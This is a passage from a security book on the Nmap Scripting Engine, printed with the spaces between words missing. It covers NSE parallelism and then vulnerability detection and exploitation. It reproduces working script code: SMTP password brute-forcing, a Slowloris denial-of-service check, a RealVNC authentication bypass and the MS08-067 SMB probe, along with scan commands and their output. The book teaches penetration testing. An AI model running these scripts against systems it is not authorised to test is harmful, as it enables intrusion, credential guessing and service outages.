if(self.quitorcoroutine.status(self.basethread)=='dead')then
table.insert(response_queue,{false,{err=false,msg="Quit
signalledbycrawler"}})
break
end
Let’slookatanotherexample.Thesmtp-brutescriptmaintainsaconnectionpooltoefficientlyutilizetheconnectionsavailableinitsimplementationoftheDriverclass(seeChapter5,EnhancingVersionDetection).Thescriptcreatesatabletostorereferencestoeachrunningcoroutinewiththehelpofcoroutine.running(),toavoidreconnectingtotheserviceasitisnotneededwiththisprotocol.Thecodeforthisscriptisasfollows:
localbrute=require"brute"
localcoroutine=require"coroutine"
localcreds=require"creds"
localshortport=require"shortport"
localsmtp=require"smtp"
localstdnse=require"stdnse"
…—Byusingthisconnectionpoolwedon'tneedtoreconnectthesocket—for
eachattempt.
ConnectionPool={}
Driver=
{
…
connect=function(self)
self.socket=ConnectionPool[coroutine.running()]
if(not(self.socket))then
self.socket=smtp.connect(self.host,self.port,{ssl=true,
recv_before=true})
if(not(self.socket))thenreturnfalseend
ConnectionPool[coroutine.running()]=self.socket
end
returntrue
end,
login=function(self,username,password)
localstatus,err=smtp.login(self.socket,username,password,mech)
if(status)then
smtp.quit(self.socket)
ConnectionPool[coroutine.running()]=nil
returntrue,creds.Account:new(username,password,creds.State.VALID)
end
if(err:match("^ERROR:Failedto.*"))then
self.socket:close()
ConnectionPool[coroutine.running()]=nil
localerr=brute.Error:new(err)
—Thismightbetemporary,settheretryflag
err:setRetry(true)
returnfalse,err
end
returnfalse,brute.Error:new("Incorrectpassword")
end,—Disconnectsfromtheserver(releasetheconnectionobjectbackto
—thepool)
disconnect=function(self)
returntrue
end,
}
Andattheendoftheactionblock,thescriptiteratesthroughtheconnectionpoolandsimplyclosesallthesockets:
for_,sockinpairs(ConnectionPool)do
sock:close()
end
NowthatyouhavestartedtounderstandhowparallelismworksinLua,wewillmoveontothemechanismssupportedbyNSEtocomplementthepowerofcoroutineswithNSE
threads,conditionvariables,andmutexes.
NoteLua’sofficialdocumentationaboutcoroutinescanbefoundatthefollowingpages:
http://lua-users.org/wiki/CoroutinesTutorialhttp://www.lua.org/pil/9.1.html
ParallelismmechanismsinNSEWhendevelopingNSEscriptsthatperformoperationsinparallel,youdon’tneedtoworryaboutprotectingmemoryresourcesbecauseNmapissingle-threaded.However,networkresourcessuchassocketsornetworkbandwidthdoneedtobeconsideredifweareworkingwithalargenumberofscriptinstances.
NSEthreadsThestdnseNSElibrarysupportsthecreationofNSEthreadsthatcanruninsideyourscript’sLuathread,andperformsnetworkoperationsinparallel.
Thestdnse.new_thread()functioncreatesanewNSEthread.Thisfunctiontakesasthefirstparameterthefunctiontoexecuteinthenewthreadand,optionally,theargumentsneededfortheworkerthread’smainfunction.TocreateanNSEworker,youmustloadthestdnselibraryandinvokethestdnse.new_thread()function:
stdnse.new_thread(func,arg1,arg2,arg3,…)
Let’screateascriptthatlaunchesthreeseparateNSEworkersandwaitsuntilallthetasksarecomplete:
localstdnse=require"stdnse"
…
functionfunc1(host,port)…end
functionfunc2(host,port)…end
functionfunc3(host,port)…end
…
action=function(host,port)
…
localthread1=stdnse.new_thread(func1,host,port)
localthread2=stdnse.new_thread(func2,host,port)
localthread3=stdnse.new_thread(func3,host,port)
whiletruedo
ifcoroutine.status(thread1)=="dead"andcoroutine.status(thread2)==
"dead"andcoroutine.status(thread3)=="dead"then
break
end
stdnse.sleep(1)
end
end
NSEthreadsareespeciallyusefulwhenweneedtoperformnetworkoperationsinparallel.Tocontroltheexecutionflowbetweenthreads,NSEsupportsconditionvariablesandmutexes.Let’slearnmoreaboutthemandlookatsomereal-lifeexamplesofcommonimplementationsusingNSEworkers.
ConditionvariablesConditionvariablesareamechanismtocontroltheexecutionflowofascriptworkingwithNSEthreads.Theyareusedtosignalthreadsthatmaybewaitingandalsotoblockthreadsuntilacertainconditionismet.Tocreateaconditionvariable,weusetheNmapAPIandthenmap.condvar()function:
localMyCondVarFn=nmap.condvar("AnythingExceptBooleanNumberNil")
Thenmap.condvar()functiontakesasanargumentanobjectthatcanbeanythingexceptfornil,aBoolean,oranumber,andreturnsafunctionthatmustbeusedtoperform
operationsontheconditionvariable.Theoperationsavailableforconditionvariablesare:
wait
broadcast
signal
Awaitingqueueiskeptforeachconditionvariable,wherethethreadsarestoredintheorderinwhichtheycallthewaitfunction.Thesignalfunctiontakesasinglethreadfromthewaitingqueueandresumesit,whilebroadcastresumesallthreads:
localMyCondVar=nmap.condvar("GoToFail")
…
MyCondVar"wait"
Let’slookatanimplementationofawebcrawlerwhereseveralworkerthreadsarestartedandthemainthreadusesaconditionvariabletowaituntiltheURLqueueisemptyandtheworkershavefinishedtheirwork:
--Initializesthewebcrawler.
--Thisfuncionextractstheinitialsetoflinksand
--createsthesubcrawlersthatstartprocessingtheselinks.
--Itwaitsuntilallthesubcrawlersaredonebeforequitting.
--@paramuriURIstring
--@paramsettingsOptionstable
localfunctioninit_crawler(host,port,uri)
stdnse.print_debug(1,"%s:[Subcrawler]CrawlingURI'%s'",LIB_NAME,uri)
localcrawlers_num=OPT_SUBCRAWLERS_NUM
localco={}
localcondvar=nmap.condvar(host)
init_registry()
--Forconsistency,transforminitialURItoabsoluteform
ifnot(is_url_absolute(uri))then
localabs_uri=url.absolute("http://"..stdnse.get_hostname(host),uri)
stdnse.print_debug(3,"%s:StartingURI'%s'became'%s'",LIB_NAME,
uri,abs_uri)
uri=abs_uri
end
--Extractslinksfromgivenurl
localurls=url_extract(host,port,uri)
if#urls<=0then
stdnse.print_debug(3,"%s:0linksfoundin%s",LIB_NAME,uri)
nmap.registry[LIB_NAME]["finished"]=true
returnfalse
end
add_unvisited_uris(urls)
--Reducethenumberofsubcrawlersiftheinitiallinklisthasless
—itemsthanthenumberofsubcrawlers
iftonumber(crawlers_num)>#urlsthen
crawlers_num=#urls
end
--Wakesubcrawlers
fori=1,crawlers_numdo
stdnse.print_debug(2,"%s:Creatingsubcrawler#%d",LIB_NAME,i)
co[i]=stdnse.new_thread(init_subcrawler,host,port)
end
repeat
condvar"wait";
fori,threadinpairs(co)do
ifcoroutine.status(thread)=="dead"thenco[i]=nilend
end
untilnext(co)==nil;
dump_visited_uris()
nmap.registry[LIB_NAME]["finished"]=true
nmap.registry[LIB_NAME]["running"]=false
end
Let’slookatanotherexample.Therpc-grindNSEscriptcreatesNSEthreadswhereitlaunchesinstancesoftherpcGrinderfunction:
localthreads=tonumber(stdnse.get_script_args(SCRIPT_NAME..".threads"))
or4
localiterator=rpcIterator()
ifnotiteratorthen
return
end
—Andnow,execourgrinder
fori=1,threadsdo
localco=stdnse.new_thread(rpcGrinder,host,port,iterator,result)
lthreads[co]=true
end
localcondvar=nmap.condvar(result)
repeat
forthreadinpairs(lthreads)do
ifcoroutine.status(thread)=="dead"then
lthreads[thread]=nil
end
end
if(next(lthreads))then
condvar"wait";
end
untilnext(lthreads)==nil;
TherpcGrinderfunctionisinchargeofsendingtheRPCprobesandsignalingthemainthreadtoletitknowthatitsworkisfinishedandanewthreadinthequeuecanberun.ThecodesnippetofrpcGrinder()isasfollows:
---FunctionthatsendsRPCnullcommandswitharandomversionnumberand—
iteratedoverprogramnumbersandcheckstheresponseforasignthatthe—
sentprogramnumberisthematchingoneforthetargetservice.—@paramhost
HosttableascommonlyusedinNmap.—@paramportPorttableascommonly
usedinNmap.—@paramiteratorIteratorfunctionthatreturnsprogramname
andnumberpairs.—@paramresulttabletoputresultinto.
localrpcGrinder=function(host,port,iterator,result)
localcondvar=nmap.condvar(result)
localrpcConn,version,xid,status,response,packet,err,data,_
xid=math.random(123456789)
—Weusearandom,mostlikelyunsupportedversionsothat
—wealsotriggerminandmaxversiondisclosureforthetargetservice.
version=math.random(12345,123456789)
rpcConn=rpc.Comm:new("rpcbind",version)
rpcConn:SetCheckProgVer(false)
status,err=rpcConn:Connect(host,port)
ifnotstatusthen
stdnse.debug1("Connect():%s",err)
condvar"signal";
return
end
forprogram,numberiniteratordo
—Noneedtocontinuefurtherifwefoundthematchingservice.
if#result>0then
break
end
xid=xid+1—XiDincreasedby1eachtime(fromoldRPCgrind)<=Any
importantreasonforthat?
rpcConn:SetProgID(number)
packet=rpcConn:EncodePacket(xid)
status,err=rpcConn:SendPacket(packet)
ifnotstatusthen
stdnse.debug1("SendPacket():%s",err)
condvar"signal";
return
end
status,data=rpcConn:ReceivePacket()
ifnotstatusthen
stdnse.debug1("ReceivePacket():%s",data)
condvar"signal";
return
end
_,response=rpcConn:DecodeHeader(data,1)
iftype(response)=='table'then
ifxid~=response.xidthen
—Shouldn'thappen.
stdnse.debug1("XIDmismatch.")
end
—Lookatacceptstate
—Notsupportedversionmeansthatweusedtherightprogramnumber
ifresponse.accept_state==rpc.Portmap.AcceptState.PROG_MISMATCH
then
result.program=program
result.number=number
_,result.highver=bin.unpack(">I",data,#data-3)
_,result.lowver=bin.unpack(">I",data,#data-7)
table.insert(result,true)—Tomake#result>1
—Otherwise,anAcceptstateotherthanProgramunavailableisnot
normalbehaviour.
elseifresponse.accept_state~=rpc.Portmap.AcceptState.PROG_UNAVAIL
then
stdnse.debug1("returned%sacceptstatefor%sprogramnumber.",
response.accept_state,number)
end
end
end
condvar"signal";
returnresult
end
MutexesMutexesareprovidedbyNSEasamechanismtopreventmultiplescriptsfromaccessingaresourceatthesametime—forexample,thenmapscriptregistry.NSEdevelopersmayalsousemutexestorunonlyasingleinstanceofascriptatanygiventime,evenifseveralhostsarebeingscannedsimultaneously.Wecanalsousethemtocontroltheexecutionflowofascriptinotherwayswhenworkingwithseveralthreads.
Thenmap.mutex()functiontakesanobjectasanargument,whichcanbeanydatatypeexceptfornil,numbers,andBooleans.Tocreateamutex,wesimplyloadtheNmapAPIandcallnmap.mutex():
localnmap=require"nmap"
…
action=function(host,port)
…
localMutex=nmap.mutex("MYSCRIPTID")
--nowwedosomethingwithourmutex
end
Thefunctionreturnedbynmap.mutex()takesfourpossiblearguments:
trylock
lock
running
done
Let’sseethisinactionandwriteascriptthatwilllockamutextoallowonlyasingleinstanceofthescriptatanygiventime:
localnmap=require"nmap"
localmutex=nmap.mutex("AnyStringOrDatatypeExceptForNilNumbersBooleans")
functionrun_crawler()
…
end
functioninit()
ifnmap.registry{SCRIPT_NAME].executed==nilthen
run_crawler()
nmap.registry[SCRIPT_NAME].executed=true
end
end
action=function(host,port)
mutex"lock"
init()
mutex"done"
end
Wecallthelockanddonefunctionstoblocktheexecutionoftheinit()function,whichwillallowonlyoneinstanceofthescripttobeexecutedatanygiventime,evenifmultiplehostsarebeingscanned.Thereexistsanotherfunctioncalledtrylockthatwillattempttolocktheresource;ifitisbusy,itwillreturnfalseimmediately.Thisisdifferentfromwhatlockdoesbecauseitwillnotyielduntilthelockisgranted.Finally,therunningfunctionreturnsthethreadthathasthemutexlock.
TipTherunningfunctionisrecommendedonlyfordebuggingasitaffectsthreadcollection.
ConsumingTCPconnectionswithNSENowwecaneasilycreateascriptthatstartsmultipleconnectionssimultaneouslyandkeepsthemopen.Let’slookatthehttp-slowloris-checkscript,whichdetectstheinfamousSlowlorisvulnerability(http://ha.ckers.org/slowloris/),knownforcausingdenial-of-serviceconditionswithveryfewnetworkresources.Inthiscase,thescriptonlyopenstwoconnections,butwecanexpandtheideatokeepopenasmanyconnectionsaspossible.Refertothehttp-slowlorisNSEexploit(https://svn.nmap.org/nmap/scripts/http-slowloris.nse)ifyouarelookingforasimilarimplementation.
Themainfunctionofhttp-slowloris-checkstartstwoworkerthreadsandwaitsforbothofthemtocomplete.Thetimedifferenceiscomparedtodeterminewhetherthesecondworkerthreadtooklongerand,therefore,whethertheconnectionwaskeptalive:
action=function(host,port)
…—definitionoftheslowlorisvulntablegoeshere
localreport=vulns.Report:new(SCRIPT_NAME,host,port)
slowloris.state=vulns.STATE.NOT_VULN
local_
_,_,Bestopt=comm.tryssl(host,port,"GET/\r\n\r\n",{})—first
determineifweneedssl
HalfHTTP="POST/"..tostring(math.random(100000,900000)).."
HTTP/1.1\r\n"..
"Host:"..host.ip.."\r\n"..
"User-Agent:"..http.USER_AGENT.."\r\n;"..
"Content-Length:42\r\n"
—boththreadsrunatthesametime
localthread1=stdnse.new_thread(slowThread1,host,port)
localthread2=stdnse.new_thread(slowThread2,host,port)
whiletruedo—waitforboththreadstodie
ifcoroutine.status(thread1)=="dead"andcoroutine.status(thread2)
=="dead"then
break
end
stdnse.sleep(1)
end
—comparetimes
if(not(TimeWith)ornot(TimeWithout))then
return
end
localdiff=TimeWith-TimeWithout
stdnse.debug1("Timedifferenceis:%d",diff)
—ifsecondconnectiondied10ormoresecondsafterthefirst
—itmeansthatsendingadditionaldataprolongedtheconnection'stime
—andtheserverisvulnerabletoslowlorisattack
ifdiff>=10then
stdnse.debug1("Differenceisgreaterorequalto10seconds.")
slowloris.state=vulns.STATE.VULN
end
returnreport:make_output(slowloris)
end
BothmainthreadfunctionsopenasocketandsendanincompleteHTTPrequest.Theonlydifferenceisthatthesecondfunctionwillsendadditionaldatatoattempttokeeptheconnectionopen.ThefunctiondefinitionsofslowThread1(host,port)andslowThread2(host,port)areasfollows:
--doesahalfhttprequestandwaitsuntiltimeout
localfunctionslowThread1(host,port)
—ifnoresponsewasreceivedwhendeterminingSSL
if(Bestopt=="none")then
return
end
localsocket,status
localcatch=function()
TimeWithout=nmap.clock()
end
localtry=nmap.new_try(catch)
socket=nmap.new_socket()
socket:set_timeout(500*1000)
socket:connect(host.ip,port,Bestopt)
socket:send(HalfHTTP)
try(socket:receive())
TimeWithout=nmap.clock()
end—doesahalfhttprequestbutsendsanother—headervalueafter10
seconds
localfunctionslowThread2(host,port)
—ifnoresponsewasreceivedwhendeterminingSSL
if(Bestopt=="none")then
return
end
localsocket,status
localcatch=function()
—notethetimethesockettimedout
TimeWith=nmap.clock()
stdnse.debug1("2try")
end
localtry=nmap.new_try(catch)
socket=nmap.new_socket()
socket:set_timeout(500*1000)
socket:connect(host.ip,port,Bestopt)
socket:send(HalfHTTP)
stdnse.sleep(10)
socket:send("X-a:b\r\n")
try(socket:receive())
TimeWith=nmap.clock()
End
Theexecutionflowiscontrolledwithcoroutine.status()todetectwhenbothworkerthreadsarefinishedtoescapetheloopandfinishtherestoftheroutine.
SummaryNSEautomaticallyperformsseveraloperationsinparalleltoobtainbetterperformanceduringscans.Mostofthetime,wewon’tevenrealizewhenourscriptsareyieldedbecauseofthis.However,therearespecialsituationswherewemayneedfinercontrolovertheexecutionofourscripts.
Inthischapter,youlearnedalltheparallelismmechanismssupportedbyNSEandhowyoucanusethemtocontroltheexecutionflowofscriptsandworkerthreads.WeintroducedLuacoroutines,showedthedifferencesfromtraditionalpreemptivemultithreading,anddemonstratedhowtousethemtoachievecollaborativemultithreading.Additionally,youlearnedaboutconditionvariablesandmutexestocontroltheexecutionflowofthreadsinNSE.
Thenextstepistoreviewallthescriptsyouhavepreviouslywrittenandcheckwhetheranyofthemcouldbeimprovedbyimplementingparallelism.Withabitofluck,youwillmakeyourNSEscriptsevenfaster.
Intheupcomingchapter,youwilllearnaboutvulnerabilityexploitationwithNSEbymeansofconcreteexamplesdemonstratinghowtodiscover,exploit,andreportsecurityvulnerabilitiescorrectlyusingtheNmapAPIandthecorrespondingNSElibraries.Fireupyourterminalandlet’sbreaksomestuff!
Chapter10.VulnerabilityDetectionandExploitationInthischapter,myobjectiveistoteachyouabouttheprebuiltfunctionsandwiderangeoflibrariesavailableinNmapScriptingEngine(NSE)toexploitvulnerabilitiesindifferentapplications,services,andnetworkprotocols.Aswithanyotherdevelopmentframework,themainbenefitistocutdownthedevelopmenttimewhencreatingexploits—timethatisveryvaluableduringpentests,especiallyduringthosedreadedshort-termengagements.
AllNSEexploitsinheritapowerfulfeature—thescanningcapabilitiesofNmap.Scriptexecutionrulesareveryflexibleandallowustousehostrules,portrules,andevenNmap’sversiondetectioninformationtospotvulnerabilities.OnceyouhaveaworkingNSEexploit,youcanlaunchitagainstentirenetworkswithhardlyanyadditionaleffort.Yourexploitwillalsosupportadditionalfeaturessuchasparallelism,CIDRnotation,differentoutputformats,theabilitytoreadtargetlists,andmanyotheradditionalprotocol-specificconfigurationsettingssupportedbyNSElibraries.
AlthoughtheNSEcategoriesexploitandvulncurrentlycontainfewerthan100scripts,theyaretwoofmyfavoritecategories.Duringpentestengagements,IconstantlyfindoutdatedXPboxes,vulnerableservices,webservers,andapplicationsusingtheNSEscriptsincludedinthiscategory.Ifyoubelongtoablueteamdefendingnetworksagainstattackers,youshouldalsobeawareofthesescriptstoquicklydetectanyweakness.Rememberthatscanscanbescheduledtorunperiodically.
Inthispartofthebook,wewilltakealookattheexploitationprocessofthefollowing:
AsimpleauthenticationbypassvulnerabilityinRealVNCserverTheclassicnetapiMS08_067vulnerabilityOpenSSL’sinfamousheartbleedvulnerabilityThemysteriousShellshockvulnerabilityinwebapplicationsTheconfigurationdisclosurevulnerabilitythataffectedthousandsofIPMI/BMCinterfaces
Additionally,wewilllearnaboutthevulnsNSElibrarythathelpsusreportvulnerabilitiescorrectly,amongotherthings.Let’sgettoworkandcausemayhemwithNSE!
VulnerabilityscanningThesimplestwayofturningNmapintoavulnerabilityscanneristorunscriptsfromthevulnNSEcategorythatcheckforspecificvulnerabilities.Currently,thereare66scriptsavailable,targetingpopularapplications,products,protocols,andservices.Whilethisnumbermaynotbethatimpressive,thevulnerabilityexploitationcapabilitiesofNSEcansaveuscountlesshourswhendevelopingexploitsfromscratch.
SomeofthekeyaspectsofusingNSEforvulnerabilitydetectionareasfollows:
HostinformationgatheredduringscanscanbeaccessedviatheNmapAPINSEscriptscangenerateadditionalhostinformationthroughadvancedfingerprintingduringruntimeNSEscriptscansharevalidcredentialsfoundduringexecutionamongotherscriptsNSEprovidesseveralnetworkprotocollibraries,andtheyarereadytouseThevulnNSElibraryprovidesasimpleinterfacetocreatewell-organizedvulnerabilityreportsNSEoffersrobustparallelismsupportanderrorhandlingmechanisms
Rememberthat,toexecuteallthescriptsbelongingtoacertaincategory,wemustsimplypassthecategorynametothe--scriptargument.Thisactionwillgenerallyyieldbetterresultsifweactivateandenhanceversiondetection(-sV--version-all)andcovertheentirevalidportrange(-p):
#nmap-sV--version-all-p---scriptvuln<target>
Ifwearelucky,weshouldseeavulnerabilityreport(orreports)withdetaileddescriptionsoftheissuesfound.Thefollowingisareportofthessl-ccs-injectionNSEscript:
PORTSTATESERVICE
443/tcpopenhttps
|ssl-ccs-injection:
|VULNERABLE:
|SSL/TLSMITMvulnerability(CCSInjection)
|State:VULNERABLE
|Riskfactor:High
|Description:
|OpenSSLbefore0.9.8za,1.0.0before1.0.0m,and1.0.1before
|1.0.1hdoesnotproperlyrestrictprocessingofChangeCipherSpec
|messages,whichallowsman-in-the-middleattackerstotriggeruse
|ofazero-lengthmasterkeyincertainOpenSSL-to-OpenSSL
|communications,andconsequentlyhijacksessionsorobtain
|sensitiveinformation,viaacraftedTLShandshake,akathe
|"CCSInjection"vulnerability.
|
|References:
|https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|http://www.cvedetails.com/cve/2014-0224
|_http://www.openssl.org/news/secadv_20140605.txt
Furthermore,youcouldalsopassthevulns.showallscriptparametertoshowallthe
attemptedexploits:
#nmap-sV--scriptvuln--script-argsvulns.showall<target>
Thiswillgeneratethefollowingoutput:
|http-method-tamper:
|NOTVULNERABLE:
|AuthenticationbypassbyHTTPverbtampering
|State:NOTVULNERABLE
|References:
|http://capec.mitre.org/data/definitions/274.html
|
https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-
CM-008%29
|http://www.mkit.com.ar/labs/htexploit/
|_http://www.imperva.com/resources/glossary/http_verb_tampering.html
|http-phpmyadmin-dir-traversal:
|NOTVULNERABLE:
|phpMyAdmingrab_globals.lib.phpsubformParameterTraversalLocalFile
Inclusion
|State:NOTVULNERABLE
|IDs:CVE:CVE-2005-3299
|References:
|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299
|_http://www.exploit-db.com/exploits/1244/
|http-phpself-xss:
|NOTVULNERABLE:
|Unsafeuseof$_SERVER["PHP_SELF"]inPHPfiles
|State:NOTVULNERABLE
|References:
|http://php.net/manual/en/reserved.variables.server.php
|_https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
|http-slowloris-check:
|NOTVULNERABLE:
|SlowlorisDOSattack
|State:NOTVULNERABLE
|References:
|_http://ha.ckers.org/slowloris/
|_http-stored-xss:Couldn'tfindanystoredXSSvulnerabilities.
|http-tplink-dir-traversal:
|NOTVULNERABLE:
|PathtraversalvulnerabilityinseveralTP-Linkwirelessrouters
|State:NOTVULNERABLE
|References:
|_http://websec.ca/advisories/view/path-traversal-vulnerability-
tplink-wdr740
|http-vuln-cve2010-2861:
|NOTVULNERABLE:
|AdobeColdFusionDirectoryTraversalVulnerability
|State:NOTVULNERABLE
|IDs:CVE:CVE-2010-2861OSVDB:67047
|References:
|http://www.blackhatacademy.org/security101/Cold_Fusion_Hacking
|http://www.nessus.org/plugins/index.php?view=single&id=48340
|http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2861
|http://osvdb.org/67047
|_http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2861
|http-vuln-cve2011-3192:
|NOTVULNERABLE:
|ApachebyterangefilterDoS
|State:NOTVULNERABLE
|IDs:CVE:CVE-2011-3192OSVDB:74721
|References:
|http://seclists.org/fulldisclosure/2011/Aug/175
|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|http://nessus.org/plugins/index.php?view=single&id=55976
|_http://osvdb.org/74721
TheexploitNSEcategoryTheexploitNSEcategorycontains32scriptsusedtoattackspecificapplicationsandservices;asthenamestates,theyarefullyconfigurableworkingexploits.Amongthesescripts,afewcometomindbecauseofhowusefultheyhavebeentomeinthepast:
http-csrf:ThisspidersawebsiteandattemptstodetectCross-siteRequestForgeryvulnerabilities.http-stored-xss:ThisfindsstoredCross-sitevulnerabilities.http-adobe-coldfusion-apsa1301:ThisattemptstoretrieveanHTTPsessioncookiethatgrantsadministrativeaccessinthevulnerableColdfusion9and10.http-iis-short-name-brute:ThisexploitsIISwebserverstoobtaintheWindows8.3shortnamesofthefilesandfoldersstoredinthewebrootfolder.jdwp-exec:ThisexploitstheJavaDebugWireProtocol.smb-check-vulns:ThisdetectsseveralvulnerabilitiesfoundinoutdatedWindowssystems.ItistheeasiestwayofdetectingvulnerableWindowsXPsystemsonthenetwork.
Don’tforgettotakealookattheentirelistofavailablescriptsinthiscategory.Manypopularvulnerabilityscannerswon’tdetectIISwebserversthatleaktheshortnamesoffilesstoredintheirrootfolders.IfIseeIISwebservers,Ialwaystrythehttp-iis-short-name-bruteNSEscript,whichwillnotonlydetectbutalsoexploitthevulnerability,toobtaintheentirelistoffilesandfoldersstoredinthewebrootfolder:
$nmap-p80--scripthttp-iis-short-name-brute<target>
Thisscriptwillgeneratethefollowingoutput:
PORTSTATESERVICE
80/tcpopenhttp
|http-iis-short-name-brute:
|VULNERABLE:
|MicrosoftIIStildecharacter"~"shortnamedisclosureanddenialof
service
|State:VULNERABLE(Exploitable)
|Description:
|VulnerableIISserversdisclosefolderandfilenameswithaWindows
8.3namingschemeinsidethewebrootfolder.
|Shortnamescanbeusedtoguessorbruteforcesensitivefilenames.
Attackerscanexploitthisvulnerabilityto
|causeadenialofservicecondition.
|
|Extrainformation:
|
|8.3filenamesfound:
|Folders
|admini~1
|Files
|backup~1.zip
|certsb~2.zip
|siteba~1.zip
|
|References:
|
http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vu
lnerability_feature.pdf
|_http://code.google.com/p/iis-shortname-scanner-poc/
NoteTheentirelistofNSEscriptsintheexploitcategorycanbefoundathttp://nmap.org/nsedoc/categories/exploit.html.
ExploitingRealVNCRealVNCisapopularproductthatincludesboththeclientandtheserverfortheVNCprotocoltoadministerworkstationsremotely.Unfortunately,itiscommontofindoutdatedversionsofthissoftwareinthewild.Version4.1.1andseveralotherfree,personal,andenterpriseeditionsareaffectedbyanauthenticationbypassvulnerabilitythatallowsattackerstogainaccesstotheVNCservers.
TodetectvulnerableVNCservers,wesimplyneedtosendanullauthenticationpacketandchecktheresponsestatuscode.Nmaphastherealvnc-auth-bypassNSEscriptthatexploitsthisissue.Let’stakealookattheinternalsofthisscript.
Asalways,webeginwithourdescriptionandlibrarycalls:
description=[[
ChecksifaVNCserverisvulnerabletotheRealVNCauthenticationbypass
(CVE-2006-2369).
]]
author="BrandonEnright"
license="SameasNmap--Seehttp://nmap.org/book/man-legal.html"
categories={"auth","default","safe"}
localnmap=require"nmap"
localshortport=require"shortport"
localvulns=require"vulns"
Thescriptsetstheportruletoexecutewhenport5900isopenortheservicenamedetectedisvnc:
portrule=shortport.port_or_service(5900,"vnc")
ThemainactioncodeblockwillcreateanNSEsockettocommunicatewiththeservice,sendacoupleofpackets,andthenchecktheresponsestodeterminewhethertheserverisvulnerable:
action=function(host,port)
localsocket=nmap.new_socket()
localresult
localstatus=true
socket:connect(host,port)
status,result=socket:receive_lines(1)
if(notstatus)then
socket:close()
return
end
socket:send("RFB003.008\n")
status,result=socket:receive_bytes(2)
if(notstatusorresult~="\001\002")then
socket:close()
return
end
socket:send("\001")
status,result=socket:receive_bytes(4)
if(notstatusorresult~="\000\000\000\000")then
socket:close()
return
end
socket:close()
return"Vulnerable"
end
VulnerableVNCserverswillreturnthefollowingoutput:
PORTSTATESERVICEVERSION
5900/tcpopenvncVNC(protocol3.8)
|_realvnc-auth-bypass:Vulnerable
Thisscriptwassubmittedsometimeago,anditdoesnotproducethebestoutputformat,butwewillgobacktoitlateroninthechapterwhenwelearnmoreaboutthevulnsNSElibrary.
DetectingvulnerableWindowssystemsSomescriptsmayrequireadditionalargumentstoexecutevulnerabilitycheckscorrectly;forexample,myall-timefavorite,smb-check-vulns,requiresuserstosettheunsafescriptparametertorunallchecks:
$nmap-p--sV–scriptvuln--script-argsunsafe<target>
Thisscriptwillgeneratethefollowingoutput:
Hostscriptresults:
|smb-check-vulns:
|MS08-067:VULNERABLE
|Conficker:LikelyCLEAN
|regsvcDoS:regsvcDoS:ERROR(NT_STATUS_ACCESS_DENIED)
|SMBv2DoS(CVE-2009-3103):NOTVULNERABLE
|MS06-025:NOSERVICE(theRasRPCserviceisinactive)
|_MS07-029:NOSERVICE(theDnsServerRPCserviceisinactive)
However,rememberthatyouneedtobecarefulwhensettingtheunsafescriptparametersincethiswilllikelycrashunpatchedWindowssystems.Thesmb-check-vulnsscriptperformsthefollowingvulnerabilitychecks:
WindowsRasRPCservicevulnerability(MS06-025)WindowsDnsServerRPCservicevulnerability(MS07-029)WindowsRPCvulnerability(MS08-67)ConfickerworminfectionCVE-2009-3013UnnamedregsvcDoSfoundbyRonBowes
Thesevulnerabilitieshavebeenaroundforalongtimebut,surprisingly,therearestillanalarmingnumberofunpatchedWindows2000,WindowsXP,andWindowsServer2003boxesonline,especiallyincorporatenetworks,eventhoughthisversionisnolongersupportedbyMicrosoft.Byutilizingsmb-check-vulns,wecanquicklyfindtheseoutdatedboxesinnetworksduringapenetrationtest.Let’stakeadeeperlookathowthisscriptidentifiesthevulnerabilitybestknownasMS08-067.
Thesmb-check-vulns.nsescriptdetectsMS08-067bycallingNetPathCompareusinganillegalstringandcheckingwhethertheserviceacceptsit.Thisscript,whichisusedtoestablishSMBcommunicationandperformtherequiredMSRPCoperations,usesthesmbandmsrpclibraries:
--@paramhostThehostobject.
--@return(status,result)Ifstatusisfalse,resultisanerrorcode;
otherwise,resultiseither—<code>VULNERABLE</code>forvulnerable,
<code>PATCHED</code>fornotvulnerable,—<code>UNKNOWN</code>if
therewasanerror(likelyvulnerable),<code>NOTRUN</code>—ifthis
checkwasdisabled,and<code>INFECTED</code>ifitwaspatchedby
Conficker.
functioncheck_ms08_067(host)
if(nmap.registry.args.safe~=nil)then
returntrue,NOTRUN
end
if(nmap.registry.args.unsafe==nil)then
returntrue,NOTRUN
end
localstatus,smbstate
localbind_result,netpathcompare_result
—CreatetheSMBsession
status,smbstate=msrpc.start_smb(host,"\\\\BROWSER")
if(status==false)then
returnfalse,smbstate
end
—BindtoSRVSVCservice
status,bind_result=msrpc.bind(smbstate,msrpc.SRVSVC_UUID,
msrpc.SRVSVC_VERSION,nil)
if(status==false)then
msrpc.stop_smb(smbstate)
returnfalse,bind_result
end
—Callnetpathcanonicalize
—status,netpathcanonicalize_result=
msrpc.srvsvc_netpathcanonicalize(smbstate,host.ip,"\\a","\\test\\")
localpath1="\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\n"
localpath2="\\n"
status,netpathcompare_result=msrpc.srvsvc_netpathcompare(smbstate,
host.ip,path1,path2,1,0)
—StoptheSMBsession
msrpc.stop_smb(smbstate)
if(status==false)then
if(string.find(netpathcompare_result,"WERR_INVALID_PARAMETER")~=nil)
then
returntrue,INFECTED
elseif(string.find(netpathcompare_result,"INVALID_NAME")~=nil)then
returntrue,PATCHED
else
returntrue,UNKNOWN,netpathcompare_result
end
end
returntrue,VULNERABLE
end
Wewillomitthefunctioninchargeofformattingtheoutput.VulnerableWindowsworkstationswillyieldanoutputsimilartothefollowing:
Hostscriptresults:
|smb-check-vulns:
|MS08-067:VULNERABLE
|Conficker:LikelyCLEAN
|regsvcDoS:regsvcDoS:ERROR(NT_STATUS_ACCESS_DENIED)
|SMBv2DoS(CVE-2009-3103):NOTVULNERABLE
|MS06-025:NOSERVICE(theRasRPCserviceisinactive)
|_MS07-029:NOSERVICE(theDnsServerRPCserviceisinactive)
